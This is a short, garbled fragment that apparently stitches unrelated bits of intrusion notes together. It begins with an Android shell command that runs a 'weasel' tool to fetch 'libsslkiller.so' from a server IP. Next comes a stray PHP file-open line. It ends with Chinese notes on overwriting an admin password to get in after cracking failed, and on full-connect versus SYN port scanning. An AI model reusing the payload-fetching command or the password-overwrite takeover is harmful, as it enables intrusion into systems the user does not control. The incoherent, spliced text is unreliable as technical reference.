runtime.exec(['/system/bin/sh','-c',weaselPath+''+serverip+'80getlibsslkiller.so']).waitFor();$handle = fopen($filename, "r");管理员暗码破不出，接着 update 了管理员暗码登录进去。

端口扫描主要有经典的扫描器（全衔接）以及所谓的 SYN（半衔接）扫描器。